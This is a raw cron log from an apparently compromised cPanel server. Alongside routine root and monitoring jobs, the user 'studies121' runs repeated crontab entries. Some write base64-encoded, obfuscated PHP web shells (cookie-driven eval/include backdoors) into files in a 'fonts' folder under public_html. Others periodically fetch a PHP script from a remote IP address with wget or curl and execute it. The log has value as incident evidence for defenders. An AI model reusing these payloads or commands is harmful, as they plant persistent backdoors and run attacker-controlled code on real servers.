Sep  8 15:54:01 ip-184-168-122-23 CROND[13735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:54:01 ip-184-168-122-23 CROND[13734]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:54:01 ip-184-168-122-23 CROND[13736]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:54:01 ip-184-168-122-23 CROND[13741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:54:01 ip-184-168-122-23 CROND[13742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:55:01 ip-184-168-122-23 CROND[13847]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:55:01 ip-184-168-122-23 CROND[13850]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 15:55:01 ip-184-168-122-23 CROND[13849]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 15:55:01 ip-184-168-122-23 CROND[13854]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:55:01 ip-184-168-122-23 CROND[13855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:55:01 ip-184-168-122-23 CROND[13853]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:56:01 ip-184-168-122-23 CROND[14008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:56:01 ip-184-168-122-23 CROND[14013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:56:01 ip-184-168-122-23 CROND[14012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:56:01 ip-184-168-122-23 CROND[14011]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:56:01 ip-184-168-122-23 CROND[14010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:57:01 ip-184-168-122-23 CROND[14115]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:57:01 ip-184-168-122-23 CROND[14116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:57:01 ip-184-168-122-23 CROND[14117]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:57:01 ip-184-168-122-23 CROND[14119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:58:01 ip-184-168-122-23 CROND[14220]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:58:01 ip-184-168-122-23 CROND[14222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:58:01 ip-184-168-122-23 CROND[14223]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:58:01 ip-184-168-122-23 CROND[14225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:58:01 ip-184-168-122-23 CROND[14224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:59:01 ip-184-168-122-23 CROND[14305]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:59:01 ip-184-168-122-23 CROND[14307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:59:01 ip-184-168-122-23 CROND[14306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:59:01 ip-184-168-122-23 CROND[14309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:00:01 ip-184-168-122-23 CROND[14467]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 16:00:01 ip-184-168-122-23 CROND[14470]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:00:01 ip-184-168-122-23 CROND[14473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:00:01 ip-184-168-122-23 CROND[14472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:00:01 ip-184-168-122-23 CROND[14471]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  8 16:00:01 ip-184-168-122-23 CROND[14474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:00:02 ip-184-168-122-23 CROND[14481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:00:02 ip-184-168-122-23 CROND[14480]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 16:00:02 ip-184-168-122-23 CROND[14482]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 16:01:01 ip-184-168-122-23 CROND[14630]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 16:01:01 ip-184-168-122-23 CROND[14634]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 16:01:01 ip-184-168-122-23 CROND[14637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14630]: starting 0anacron
Sep  8 16:01:01 ip-184-168-122-23 CROND[14635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:01:01 ip-184-168-122-23 CROND[14636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:01:01 ip-184-168-122-23 CROND[14638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[14650]: finished 0anacron
Sep  8 16:02:02 ip-184-168-122-23 CROND[14734]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:02:02 ip-184-168-122-23 CROND[14736]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:02:02 ip-184-168-122-23 CROND[14737]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:02:02 ip-184-168-122-23 CROND[14738]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:02:02 ip-184-168-122-23 CROND[14739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:03:01 ip-184-168-122-23 CROND[14836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:03:01 ip-184-168-122-23 CROND[14838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:03:01 ip-184-168-122-23 CROND[14839]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:03:01 ip-184-168-122-23 CROND[14843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:04:01 ip-184-168-122-23 CROND[14932]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:04:01 ip-184-168-122-23 CROND[14934]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 16:04:01 ip-184-168-122-23 CROND[14936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:04:01 ip-184-168-122-23 CROND[14935]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:04:01 ip-184-168-122-23 CROND[14937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:05:01 ip-184-168-122-23 CROND[15030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 16:05:01 ip-184-168-122-23 CROND[15032]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 16:05:01 ip-184-168-122-23 CROND[15034]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 16:05:01 ip-184-168-122-23 CROND[15035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 16:05:01 ip-184-168-122-23 CROND[15037]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 16:05:01 ip-184-168-122-23 CROND[15036]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 16:05:01 ip-184-168-122-23 CROND[15038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 16:06:01 ip-184-168-122-23 CROND[15121]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
